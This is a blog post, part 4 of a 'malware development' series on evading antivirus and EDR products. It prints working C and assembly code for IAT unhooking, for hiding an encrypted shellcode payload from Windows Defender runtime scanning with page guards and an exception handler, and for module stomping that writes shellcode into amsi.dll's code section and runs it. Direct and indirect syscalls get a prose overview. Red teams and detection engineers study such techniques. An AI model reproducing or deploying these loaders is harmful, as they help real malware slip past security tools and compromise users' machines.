AV/EDR Evasion | Malware Development P — 4

Hossam Ehab
22 min readMay 27, 2023

--

IAT Unhooking & Process Memory Hiding & Syscalls

Welcome to our malware development blog! If you’re fascinated by malicious software and want to learn more, you’re in the right place. we covered the basics, including how antivirus systems function, evasion techniques, encryption, sandbox evasion, anti-debugging methods and more. Now, as we progress to parts 3 and 4, we’ll explore more advanced topics, such as unhooking, hooks, APIs, and where and how you can put your shellcode in memory and other aspects of malware development.. Whether you’re new or seasoned, let’s explore together!

Part 1 — AV/EDR Evasion | Malware Development | by Hossam Ehab | Medium
Part 2 — AV/EDR Evasion | Malware Development — P2 | by Hossam Ehab | Medium
Part 3 — AV/EDR Evasion | Malware Development P-3 | Medium

Welcome to part 4 of the AV/EDR Evasion playlist. I’m Hossam Ehab, and in this article, we’ll explore crucial techniques for bypassing antivirus and endpoint detection and response (EDR) systems ..

First, we’ll dive into the Import Address Table (IAT) and Process Memory Hiding. Discover how to strategically place shellcode in memory to remain undetected during real-time scanning.

Next, we’ll uncover the power of Syscalls and their role in evading detection and maintaining persistence and also the Native and Direct APIs.

Join me on this thrilling journey as we unravel advanced techniques in AV/EDR evasion, equipping you with invaluable knowledge in malware development. Let’s get started!

Topics:

1 — What is the different between Native APIs & Windows APIs
2 — IAT (Import address table) & how to unhook it!?
3 — Hiding shellcode in memory (Process Memory Hiding)
4 — Direct & Indirect Syscalls
5 — Resources & How to learn more!

Different between Native & Windows APIs & Syscalls

Syscalls, short for system calls, are a fundamental mechanism for communication between user-level programs and the operating system. They provide an interface for applications to request services from the operating system kernel, such as file operations, network communication, process management, and more. Syscalls are essential for interacting with the underlying hardware and resources of a computer system.

When it comes to different operating systems, such as Windows, there are two primary APIs (Application Programming Interfaces) through which user-level programs can make syscalls: the Native API and the Windows API.

  1. Native API: The Native API, also known as the NT API, is the low-level interface provided by the Windows NT kernel. It is used internally by the operating system and provides direct access to kernel services. The Native API offers a comprehensive set of system functions and data structures, allowing developers to interact at a lower level with the operating system. It is powerful but complex and requires a deep understanding of the underlying system architecture.

— You can see DLLs for Native APIs like : ntdll.dll or win32u.dll
— Distinguishable by the NT or ZW prefix

2. Windows API: The Windows API, also known as the WinAPI or the Win32 API, is a higher-level interface built on top of the Native API. It provides a more user-friendly and abstracted programming interface for application developers. The Windows API includes a vast collection of functions and resources that allow programmers to interact with various aspects of the Windows operating system, such as GUI components, file operations, registry access, and more. It encapsulates many common syscalls within higher-level functions, making it easier to develop Windows applications.

— Officially documented by Microsoft Programming reference for the Win32 API — Win32 apps | Microsoft Learn “MSDN”
— Exported by different DLL such as user32.dll or kernel32.dll, etc.

The key differences between the Native API and the Windows API are:

  1. Abstraction Level: The Native API operates at a lower level, providing direct access to the kernel and system resources. In contrast, the Windows API offers a higher level of abstraction, hiding some of the underlying complexity of the operating system.

2. Complexity: The Native API is more complex and requires a deeper understanding of the system’s internals. It provides finer-grained control but comes with a steeper learning curve. The Windows API, on the other hand, is more user-friendly and accessible to a broader range of developers.

3. Portability: While the Native API is specific to the Windows NT kernel, the Windows API is designed to be portable across different versions of Windows. The Windows API provides a consistent programming interface, enabling applications to run on various Windows platforms without significant modifications.

4. Documentation and Support: The Windows API has extensive documentation, a large community of developers, and various support resources provided by Microsoft. It is well-documented and supported, making it easier to find examples, tutorials, and solutions to common programming problems. The Native API, however, has limited official documentation and fewer external resources available.

In summary, the Native API and the Windows API serve as different levels of abstraction for making syscalls in the Windows operating system. The Native API provides a lower-level, more powerful interface for system programming, while the Windows API offers a higher-level, more user-friendly interface suitable for application development.

IAT (Import Address Table) & Unhooking it!

Imagine you’re building a large Lego structure, and you need some special Lego pieces that you don’t have in your collection. So, you ask your friend to lend you those pieces. However, you don’t know exactly where your friend keeps those pieces in their Lego collection.

To solve this, your friend gives you a list of the names of the special Lego pieces you need and tells you that they will put a sticker on each piece indicating where to find it in their collection. This list is like the Import Directory in Windows.

When you receive the list, you start building your structure. When you come across a part that you need from your friend’s collection, you refer to the list to know which piece to take. You check the sticker on that piece, which tells you exactly where to find it. This sticker is like the Import Address Table (IAT).

So, the IAT is like a table that holds the memory addresses of functions (Lego pieces) you need from external libraries (your friend’s Lego collection). It helps your program find the right functions at runtime without having to know the exact memory addresses.

Initially, the IAT contains placeholders or thunks instead of the actual memory addresses. These placeholders act as reminders that the addresses need to be filled in later. When your program starts running, the operating system takes care of replacing the placeholders in the IAT with the real memory addresses of the functions you need from the DLLs.

When your program wants to use one of those functions, it looks up the IAT entry for that function and jumps to the memory address stored there. It’s like you finding the Lego piece you need based on the sticker on it and using it to continue building your structure.

The IAT provides flexibility and allows programs to import functions from DLLs dynamically. It makes the software development process more modular and helps manage memory efficiently.

On the flip side, the IAT can be targeted by attackers who might try to modify the table entries to redirect function calls to malicious code. To counter such threats, security solutions like EDR keep an eye on the IAT for any suspicious changes, helping protect the system from potential malware attacks.

After we now understand what is the IAT and it’s relation with the EDR we need now in our malware to unhook it ^_^

@0xNinjaCyclonehave build the best PoC the I have seen ever for IAT Unhooking and special thank for him ^_^, But now let’s see the PoC and how it works.

After thoroughly examining the code, I discovered an important note. When I consulted the author of the code, about why he developed it in assembly language, he provided me with important points:

He explained that he chose assembly language to facilitate IAT unhooking using the GetModuleHandle API. Additionally, he can retrieve the necessary information from the PEB (Process Environment Block). However, there is a challenge associated with this approach. When the C2 (Command and Control) functionality is active, the code loads a reflected DLL into memory using the “RDI” (Reflective Dll Injection) technique, which serves as an evasion mechanism. Moreover, when the agent has no task to perform, it conceals itself using a technique called “sleep mask obfuscation.”

In practical terms, if we were to utilize the PEB and GetModuleHandle functions, the process would crash. This occurs because these functions obtain the base address of the main process, “main.exe,” rather than the reflective DLL, “agent.dll,” in memory. Therefore, an alternative approach is required. When the shellcode loads the DLL into memory, it must incorporate a mechanism to resolve the correct address of “agent.dll” in memory, ensuring successful reflective loading. Without such resolution, any attempt to reference the DLL would lead to a crash since the expected address of the DLL cannot be determined.

But in our case we used these techniques because we are not C2 agent and in this POC case we control the main loader (only need to resolve the main base address), After all these talking I want to till you that the assembly code will work and will not crash in all situations.

And now let’s see the code

UNHOOK_STATUS UnhookIAT(LPVOID lpImgBaseAddr)
{
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)( (DWORD_PTR)lpImgBaseAddr + ( (PIMAGE_DOS_HEADER)lpImgBaseAddr )->e_lfanew );
PIMAGE_DATA_DIRECTORY pImportDir = (PIMAGE_DATA_DIRECTORY)&pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
PIMAGE_IMPORT_DESCRIPTOR pDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)lpImgBaseAddr + pImportDir->VirtualAddress);
BOOL bNoHooks = TRUE;

if (( (PIMAGE_DOS_HEADER)lpImgBaseAddr )->e_magic != IMAGE_DOS_SIGNATURE || pNtHdr->Signature != IMAGE_NT_SIGNATURE) return INVALID_PE;
if ( pImportDir->Size == 0 ) return NO_IMPORTS;

do {
PIMAGE_THUNK_DATA pILT = (PIMAGE_THUNK_DATA)((DWORD_PTR)lpImgBaseAddr + pDescriptor->OriginalFirstThunk);
DWORD_PTR dwpIAT = (DWORD_PTR)lpImgBaseAddr + pDescriptor->FirstThunk;
HMODULE hModule = GetModuleHandleA( (LPCSTR)((DWORD_PTR)lpImgBaseAddr + pDescriptor->Name) );

while ( DEREF(dwpIAT) )
{
DWORD_PTR dwpTrueAddr = 0;
LPCSTR cpFuncName = NULL;

if ( pILT->u1.Ordinal & IMAGE_ORDINAL_FLAG )
dwpTrueAddr = (DWORD_PTR)ResolveAddrByOrdinal( hModule, IMAGE_ORDINAL(pILT->u1.Ordinal), &cpFuncName );

else {
PIMAGE_IMPORT_BY_NAME pLookup = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)lpImgBaseAddr + pILT->u1.AddressOfData);
cpFuncName = pLookup->Name;
dwpTrueAddr = (DWORD_PTR)GetProcAddress( hModule, cpFuncName );
}

if ( DEREF(dwpIAT) != dwpTrueAddr )
{
bNoHooks = FALSE;
printf("[-] Function Name %s in %s DLL is Hooked, its address is 0x%p, the true address is 0x%p\n", cpFuncName, (LPCSTR)((DWORD_PTR)lpImgBaseAddr + pDescriptor->Name), (PVOID)DEREF(dwpIAT), (PVOID)dwpTrueAddr);

/* Unhook it */
DWORD dwOldProtect = 0;
if (!VirtualProtect((LPVOID)dwpIAT, sizeof(DWORD_PTR), PAGE_READWRITE, &dwOldProtect)) return UNHOOK_FAIL;
DEREF(dwpIAT) = dwpTrueAddr;
if (!VirtualProtect((LPVOID)dwpIAT, sizeof(DWORD_PTR), dwOldProtect, &dwOldProtect)) return UNHOOK_FAIL;
}


dwpIAT += sizeof(DWORD_PTR);
pILT++;
}

pDescriptor++;

} while ( pDescriptor->Name );

return ( bNoHooks ? NO_HOOKS : UNHOOK_SUCCESS );
}

In this code “Wait I can’t explain the code in funny way I’m sorry”, The function takes as input the base address of the executable module (lpImgBaseAddr). It starts by extracting important information from the module’s headers to understand its structure.

Next, it locates the Import Directory within the module, which contains information about the imported functions. The code iterates through each import descriptor to process the imported functions one by one.

For each import descriptor, the code retrieves the Original First Thunk, which is a list of function import addresses. It also gets the First Thunk, which is where the actual addresses of the functions are stored.

The code then enters a loop to process each function in the import address table (IAT). It compares the stored address in the IAT with the address obtained by looking up the function by name in its corresponding DLL. If the addresses don’t match, it means that the function has been hooked.

In this case, the code sets a flag (bNoHooks) to indicate that there are hooks present. It prints a message indicating the name of the hooked function, the DLL it belongs to, the address in the IAT, and the true address of the function.

To unhook the function, the code modifies the protection settings of the IAT entry to allow writing, replaces the hooked address with the true address, and restores the original protection settings.

The code continues iterating through all the imported functions in the module until it finishes processing all import descriptors.

Finally, based on the status of the hooks detected, the function returns an appropriate value: UNHOOK_SUCCESS if hooks were present but successfully removed, NO_HOOKS if there were no hooks, UNHOOK_FAIL if there was an error during the unhooking process, INVALID_PE if the module is not a valid PE file, or NO_IMPORTS if the module has no imports.

This function can be used as a tool to identify and potentially remove IAT hooks, which are modifications made to the function addresses in the IAT for various purposes.

;***************************************************
; Author => Abdallah Mohamed ( 0xNinjaCyclone )
; Date => 14-5-2023/11:11PM
; Greetz to => Hossam Ehab
;***************************************************

.code

;************************
; Get Image base address
;************************
GetImgBaseAddr proc
call $+5 ; Call the next instruction
pop rax ; Get current instruction address
mov di, 5A4Dh ; PE magic number

; Search backward until find image magic number
FIND_MAGIC:
dec rax ; Go backwards
mov si, word ptr [rax] ; Move current image bytes to si for comparison
cmp si, di ; *pCurrentAddr == IMAGE_DOS_SIGNATURE ?
jne FIND_MAGIC

; We have found 'MZ', but we must check NT Headers signature
mov ebx, [rax + 3Ch] ; NT Headers RVA

; Some checks to avoid a bogus signature
mov ecx, 40h ; sizeof(IMAGE_DOS_HEADER)
cmp ebx, ecx ; DOS->e_lfanew <= sizeof(IMAGE_DOS_HEADER)
jle FIND_MAGIC

mov ecx, 400h ; 1024
cmp ebx, ecx ; DOS->e_lfanew > 1024
jg FIND_MAGIC

push di ; Save PE magic number
mov edi, 00004550h ; NT Headers Signature
add rbx, rax ; BaseAddress + DOS->e_lfanew
mov esi, dword ptr [rbx] ; ( PIMAGE_NT_HEADERS )->Signature
cmp esi, edi ; Signature == IMAGE_NT_SIGNATURE ?
pop di ; Restore PE magic number
jne FIND_MAGIC ; So far

;**************************************
; We have found the image base address
;**************************************

ret
GetImgBaseAddr endp

;**********************************************
; Resolve imported function address by ordinal
;**********************************************
ResolveAddrByOrdinal proc
xchg rcx, rdx ; Swap(BaseAddress, ordinal)
xor rax, rax ; Clear accumlator reg
mov eax, dword ptr [rdx + 3Ch] ; NT Headers RVA
add rax, rdx ; BaseAddress + NT_RVA
mov eax, dword ptr [rax + 88h] ; Export Dir RVA
test rax, rax ; Maybe there are no exports
jz NOEXPORTS ; Tell the caller we failed
add rax, rdx ; Jump on the export table
sub ecx, dword ptr [rax + 10h] ; Ordinal - pDir->Base

; We have to ensure that we rely on a valid ordinal
push rcx ; Save the ordinal
xor rcx, rcx ; Clear counter reg
mov cx, word ptr [rax + 18h] ; Number of entries
cmp dword ptr [rsp], ecx ; The ordinal out of the image ordinals range
jge INVALID_ORDINAL ; Tell the caller we failed

; Find the import name
mov rdi, r8 ; Imported name reference
xor r9, r9 ; Clear the register
mov r9d, dword ptr [rax + 24h] ; Image ordinals RVA
add r9, rdx ; Jump on the ORD table
FIND_NAME_INDEX:
dec rcx ; We search backward
mov si, word ptr [r9 + 2h * rcx] ; Retreive current ordinal
cmp si, word ptr [rsp] ; Check if that the target one
je FOUND ; Let's move on to the next step
test rcx, rcx ; Check if we've reached the end of the table
jnz FIND_NAME_INDEX ; Keep digging

; WHAT THE FUCK IF THE ORDINAL DOESN'T EXIST WITHIN THE TABLE!
jmp INVALID_ORDINAL

FOUND:
mov r8d, dword ptr [rax + 20h] ; Names RVA
add r8, rdx ; Add BaseAddress
mov ebx, dword ptr [r8 + 4h * rcx] ; Get target name RVA
add rbx, rdx ; Add BaseAddress
mov [rdi], rbx ; Set the name reference

; Get the imported function address
pop rcx ; pop off the ordinal from the stack
mov r8d, dword ptr [rax + 1Ch] ; EAT RVA
add r8, rdx ; Jump on the EAT
mov eax, [r8 + 4h * rcx] ; Required address RVA
add rax, rdx ; Get Imported function address

FINISH:
ret

INVALID_ORDINAL:
pop rcx

NOEXPORTS:
xor rax, rax
jmp FINISH

ResolveAddrByOrdinal endp

end

In this assembly code is very cool and this is the best thing in the PoC, What is the code do !!

  1. Searching for the Image:
  • The code starts by looking backward from the current instruction to find the “MZ” magic number, which marks the beginning of the image’s DOS header.
  • It keeps moving backward until it finds the “MZ” magic number.

2. Validating the Image:

  • After finding “MZ,” the code checks if the NT Headers signature, which marks the start of the PE header, is valid.
  • It performs some checks to ensure that the NT Headers signature is within the expected limits, avoiding potential errors.

3. Retrieving the Base Address:

  • If the NT Headers signature is valid, indicating a valid PE file, the code determines that it has successfully found the base address of the image in memory.

4. Returning the Base Address:

  • The function then returns the base address of the image.

The purpose of this function is to provide a way to obtain the base address of an image in memory. This information can be useful in various scenarios, such as when you need to perform memory-related operations specific to a particular image or analyze its structure.

The function named ( ResolveAddrByOrdinal )is super important for finding the addresses of functions that are imported using numbers instead of names. This happens sometimes when compilers make imports. Here's what the function does:

  1. Swap Base Address and Ordinal. It swaps the base address of the module and the ordinal number
  2. Acquire NT Headers RVA. It obtains the Relative Virtual Address (RVA) of the NT Headers by adding the base address to the offset stored in the DOS header
  3. Fetch Export Directory RVA. It calculates the RVA of the Export Directory by adding the RVA of the NT Headers to the offset of the Export Directory RVA
  4. Check for Exports. It examines if there are any exports available in the Export Directory
  5. Calculate Ordinal Offset. It computes the offset of the ordinal within the Export Directory by subtracting the base of the Export Directory from the ordinal
  6. Validate Ordinal Range. It ensures that the ordinal falls within the range of available ordinals by comparing it with the number of entries in the Export Directory
  7. Find Import Name. It iterates through the list of ordinals to find the one that matches the target ordinal. Once found, it retrieves the corresponding name from the Export Name Pointer Table.
  8. Set Name Reference. It establishes the reference to the name of the imported function
  9. Retrieve Function Address. It fetches the RVA of the imported function address from the Export Address Table
  10. Return Address. Finally, it yields the resolved address of the imported function

This function is really important because it helps us to find the correct address and name of functions even when they’re imported using ordinal position instead of names :)))

Finally you can get or access the PoC from here: https://github.com/0xNinjaCyclone/IATUnhooker

Hiding shellcode in memory (Process Memory Hiding)

If you building you malware and you don’t know what to do when you are trying to hide your shellcode from the run time scanning so it’s easy and note the codes are implemented from sektor7 i only explain it ;)

You have many technique that you can put it in your code like :

  1. Ekko
  2. Ninja Guard
  3. MapNlinker
  4. Module Stomping

I will only talk about two that i love it:

First you need this : Bypassing Windows Defender Runtime Scanning | WithSecure™ Labs

In the 5olasa the technique is implemented to do this :

  1. Install hooks to detect when a Windows Defender trigger function (CreateProcess) is called.
  2. When CreateProcess is called the hook is triggered and Meterpreter thread is suspended
  3. Set payload memory permissions to PAGE_NOACCESS
  4. Wait for scan to finish.
  5. Set permission back to RWX.
  6. Resume the thread and continue execution.

So now let’s see the code and explain it.

int Go(void) {
BOOL rv;
DWORD oldprotect = 0;
// Allocate memory for payload
globalExec_Mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decrypt payload
AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));

// Copy payload to allocated buffer
RtlMoveMemory(globalExec_Mem, payload, payload_len);

// Make the buffer executable
rv = VirtualProtect(globalExec_Mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// Re-ecrypt payload
AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));

// If all good, launch the payload
if ( rv != 0 ) {
globalThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) globalExec_Mem, 0, 0, 0);
WaitForSingleObject(globalThread, -1);
}
VirtualFree(globalExec_Mem, 0, MEM_RELEASE);
printf("[+] Global exec memory released (%#x)\n", GetLastError());
return 0;
}

BOOL myCreateProcessInternalW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, PHANDLE hNewToken) {
DWORD old = 0;
char key[16];
unsigned int r = 0;

// generate random encryption/decryption key
for (int i = 0; i < 16; i++) {
rand_s(&r);
key[i] = (char) r;
}

//printf("[+] Suspending global thread = %#x\n", globalThread);
//if (globalThread)
// SuspendThread(globalThread);

printf("[+] Global exec memory address: %p\n", globalExec_Mem);
getchar();

// encrypt the payload
VirtualProtect(globalExec_Mem, payload_len, PAGE_READWRITE, &old);
//XOR((char *) globalExec_Mem, payload_len, key, sizeof(key));
printf("[+] Global exec memory encrypted\n");
getchar();

// set the memory inaccessible
VirtualProtect(globalExec_Mem, payload_len, PAGE_NOACCESS, &old);
printf("[+] Global exec memory set to NOACCESS (%#x)\n", GetLastError());

printf("[+] Calling original CreateProcessInternalW()\n");
BOOL res = pCreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);

printf("[+] Going to Sleep() (%#x)\n", res);
getchar();
//Sleep(10000);
printf("[+] Restoring payload memory access and decrypting\n");
VirtualProtect(globalExec_Mem, payload_len, PAGE_READWRITE, &old);
XOR((char *) globalExec_Mem, payload_len, key, sizeof(key));
VirtualProtect(globalExec_Mem, payload_len, PAGE_EXECUTE_READ, &old);
getchar();

// re-enable PAGE_GUARD on CreateProcessInternalW()
VirtualProtect(pCreateProcessInternalW, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
printf("[+] Page Guard re-set! (%#x)\n", GetLastError());

return res;
}

LONG WINAPI handler(EXCEPTION_POINTERS * ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) pCreateProcessInternalW) {
//printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
//printf("(1): %#llx | ", ExceptionInfo->ContextRecord->Rcx);
//printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx);
//printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8);
//printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9);
//printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp);
//getchar();
ExceptionInfo->ContextRecord->Rip = (DWORD64) &myCreateProcessInternalW;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
int main(void) {
DWORD old = 0;

pCreateProcessInternalW = (CreateProcessInternalW_t) GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "CreateProcessInternalW");

// register exception handler as first one
AddVectoredExceptionHandler(1, &handler);
// set the PAGE_GUARD on CreateProcessInternalW() function
VirtualProtect(pCreateProcessInternalW, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
printf("[+] Page Guard set! (%#x)\n", GetLastError());
Go();
printf("Awaiting..."); getchar();
return 0;
}

The code is very easy and explains his self, but first the code:

Go() Function:

This function is responsible for executing a payload.

It begins by allocating memory for the payload using the VirtualAlloc function.

The payload is decrypted using AESDecrypt function, and then copied to the allocated buffer using RtlMoveMemory.

The VirtualProtect function is used to mark the buffer as executable.

Afterward, the payload is re-encrypted using AESDecrypt function.

If everything is successful, the payload is launched by creating a new thread with the CreateThread function. The program waits for the thread to finish using WaitForSingleObject.

Finally, the memory allocated for the payload is released with VirtualFree.

2. myCreateProcessInternalW() Function:

This function is a modified version of the CreateProcessInternalW function.

It generates a random encryption/decryption key using the rand_s function.

The globalExec_Mem variable, which holds the payload, is encrypted by modifying its memory protection with VirtualProtect and XORing the memory with the key.

The memory is then set to PAGE_NOACCESS, preventing any access to it.

The original CreateProcessInternalW function is called, and the result is stored in the res variable.The memory protection is restored, and the payload is decrypted.

The PAGE_GUARD flag is set again on the pCreateProcessInternalW function.

3. handler() Function:

This function serves as an exception handler.

It is triggered when a guard page violation exception occurs.If the exception occurs in the pCreateProcessInternalW function, it redirects the execution to the myCreateProcessInternalW function.The function returns EXCEPTION_CONTINUE_EXECUTION to continue executing the code.

4. main() Function:

The main function retrieves the address of the CreateProcessInternalW function using GetProcAddress.

An exception handler is registered using AddVectoredExceptionHandler.
The PAGE_GUARD flag is set on the pCreateProcessInternalW function.

The Go function is called to execute the payload.
The program waits for user input to terminate.

Overall, this code demonstrates a technique where a payload is encrypted and stored in memory, and then a modified version of a function is used to execute the encrypted payload. The exception handler helps redirect the execution flow to the modified function when necessary.

But wait Hosam how this used to evade AV I will say:

  • Encryption: The payload is encrypted using the AESDecrypt function. By encrypting the payload, its contents are obfuscated and appear as random data. This makes it harder for AV scanners to recognize malicious patterns or signatures within the payload.
  • Dynamic Execution: The payload is not stored as a standalone executable file on disk, but rather in memory. This technique avoids static scanning techniques employed by AV scanners that typically analyze files on disk. Since the payload is not directly accessible on disk, it may bypass initial scanning or signature-based detection.
  • Memory Manipulation: The code manipulates the memory protection of the payload using the VirtualProtect function. It changes the memory region to be executable, allowing the payload to be executed directly from memory. This technique can bypass AV scanners that rely on scanning files on disk but do not inspect code executing from memory.
  • Modification of Function Behavior: The code modifies the behavior of the original CreateProcessInternalW function by replacing it with the myCreateProcessInternalW function. This modification allows the execution of the encrypted payload instead of the original functionality. This technique can bypass AV scanners that rely on behavioral analysis to detect malicious activity.
  • Exception Handling: The code implements an exception handler that intercepts guard page violation exceptions. When such an exception occurs within the pCreateProcessInternalW function, it redirects the execution to the myCreateProcessInternalW function. This exception handling mechanism can disrupt AV scanners’ ability to analyze the original function and detect any malicious activity.

Module Stomping

In the world of Cyberspace, there was a mischievous hacker named Alex, renowned for throwing hilarious surprise parties. Determined to take it up a notch, Alex embraced the quirky technique known as Module Stomping.

Module Stomping sounded like a bizarre dance move, but it involved loading a harmless DLL (like a sneaky decoration) into a target process. Alex’s plan was to replace the surprise (AddressOfEntryPoint) with a confetti cannon (because who doesn’t love confetti?).

With everything set, Alex activated the confetti cannon remotely, like a digital puppet master. But instead of confetti, it launched an army of rubber ducks! Quack-tastic!

The unsuspecting partygoers were bombarded with a deluge of rubber ducks, bouncing off their screens. Laughter echoed throughout Cyberspace as the bewildered guests tried to duck and dodge the feathery invasion.

And so, Alex became the legendary prankster of the digital realm, forever known for turning surprise parties into hilarious rubber duck battles. Let’s hope the next party doesn’t involve squirrels with party hats!

To make the surprise party successful, you’ll need to understand the technical aspects behind Module Stomping. Here’s a breakdown:

  • DLL Injection: Just like placing the decorations inside the gift box, DLL injection involves loading a benign Windows Dynamic Link Library (DLL) into a target process. This is done using techniques like process hollowing or process injection.
  • AddressOfEntryPoint: The AddressOfEntryPoint is like the spot in the gift box where you replace the surprise. In DLL Stomping, the original AddressOfEntryPoint in the loaded DLL is overwritten with the memory address where your shellcode resides.
  • Shellcode: Shellcode is a small piece of code that carries out specific actions, such as performing malicious activities or executing custom functionality. In our analogy, the confetti cannon represents the shellcode. It’s the exciting surprise you want to unleash during the party.
  • Thread Creation: Similar to remotely activating the confetti cannon, a new thread is created in the target process at the entry point of the benign DLL. This thread executes the injected shellcode, triggering the desired actions.

By combining these technical elements with our surprise party analogy, we can imagine the process as a covert operation to enhance the party experience. The decorations are carefully hidden in the gift box (DLL injection), the surprise inside is replaced with a confetti cannon (shellcode), and when the time is right, the cannon is remotely activated (thread execution) to create a joyful and memorable celebration.

This technical explanation adds an extra layer of understanding, illustrating how Module Stomping cleverly leverages DLL injection, overwritten entry points, shellcode, and thread creation to achieve its objectives in a stealthy and creative manner.

Let’s see the PoC and I have Implemented it in my tool. Let’s see the code:

int main(int argc, char **argv)
{
unsigned char *pHollowedDLL;
HMODULE hAMSI;
DWORD dwOldProtection = 0;
/* Load amsi.dll to hide payload inside */
hAMSI = LoadLibraryA("amsi.dll");
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hAMSI;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSection;
int index = 0;
// try to find .text section
do
{
pSection = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pNtHeaders) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * index++));
printf("sec name %s\n", (const char *)pSection->Name);
} while (strncmp((const char *)pSection->Name, ".text", 5) != 0);

// Now we find .text section, resolve its address
pHollowedDLL = (unsigned char *)((DWORD_PTR)pDosHeader + pSection->VirtualAddress);

printf("amsi.dll .text address = 0x%p, see in debugger or processhacker\n", pHollowedDLL);
printf("Hit Enter:");
getchar();
/* the .text section doesn't have Write permission, so we changes protection to RW and later before exection we will restore again to RX */
VirtualProtect(pHollowedDLL, 4096, PAGE_READWRITE, &dwOldProtection);
/* Now we have to move the payload to the hollowed memory */
RtlMoveMemory(pHollowedDLL, buf, sizeof(buf));
/*
Now you can decrypt you payload here
*/
/* Restore RX permission again */
VirtualProtect(pHollowedDLL, 4096, dwOldProtection, &dwOldProtection);
((void (*)()) pHollowedDLL)();

return 0;
}

Let’s explain but the code is explain him self but let me explain how we can get the amsi.dll base address:

We can see here the virtual address is 1000 so we can do it directly without parse the DLL with easy one line code ^_^

pHollowedDLL = (unsigned char *)((DWORD_PTR)hAMSI + 0x1000);

The pHollowedDLL is the pointer that also use as the shellcode in the execution…

Direct & In Direct Syscalls in Evasion.

Imagine you are a talented computer scientist working as a security consultant for a friendly organization dedicated to improving cybersecurity measures. Your goal is to understand various techniques used by attackers to evade detection and enhance the organization’s defenses.

As part of your research, you explore the concepts of native syscalls and indirect syscalls, which are two advanced techniques employed in evasion tactics.

In the case of native syscalls, you discover that attackers use this technique to interact directly with the operating system’s kernel-level functions, bypassing higher-level abstractions provided by standard libraries or APIs. By utilizing native syscalls, attackers gain precise control over system resources and can perform operations that might not be directly accessible through conventional means.

To illustrate the concept, imagine an attacker who wants to inject malicious code into a running process. Instead of relying on the usual API calls, they leverage native syscalls to directly manipulate the process’s memory, stealthily injecting their malicious payload. By avoiding high-level abstractions, the attacker increases the likelihood of evading detection mechanisms that monitor typical API calls.

Now let’s explore the concept of indirect syscalls. In this technique, attackers invoke operating system functions indirectly rather than through the standard system call interface. They achieve this by dynamically resolving function addresses at runtime, thereby bypassing static analysis and signature-based detection methods.

To better understand how indirect syscalls can be utilized in evasion, let’s imagine an attacker who wants to tamper with the behavior of a specific system function responsible for network communication. By employing indirect syscalls, the attacker cleverly resolves the address of the function dynamically, making it harder for security tools to detect their malicious activity. With this technique, they can manipulate network traffic, hide their presence, or even redirect sensitive information to unauthorized destinations.

It’s important to note that while these techniques have legitimate use cases, such as low-level system programming or performance optimizations, they can also be exploited maliciously. However, your focus remains on using this knowledge to enhance security measures for your friendly organization.

Armed with a deep understanding of native syscalls and indirect syscalls, you work diligently to fortify the organization’s defenses. You collaborate with fellow experts to develop sophisticated detection algorithms that can identify suspicious patterns of system activity associated with these evasion techniques.

The article now is too long so I will recommend to you the best article I have been seen for that: https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low

But i have been talked about some basics for that in the first.

Some resources will help you to learn more.

coconelonc: https://cocomelonc.github.io/
0xpat : https://0xpat.github.io/
ired team: https://ired.team
Stephen fewer: https://twitter.com/stephenfewer
sektor7: https://sektor7.net
De3vil: https://github.com/De3vil
Abdallah: https://github.com/0xNinjaCyclone
improsec: https://improsec.com/
and finally the best forum: https://0x00sec.org/

and really there are more amazing people repos installing tools and cool things7evasion and malware development…

Contact Me:

Facebook: https://facebook.com/0xHossam
Github: https://github.com/0xHossam-

If you are here so thanks for your reading and I hope you are fine ^_^.

--

--

Hossam Ehab

Red Team Analyst at DarkEntry, interested in Red Teaming and Malware Research.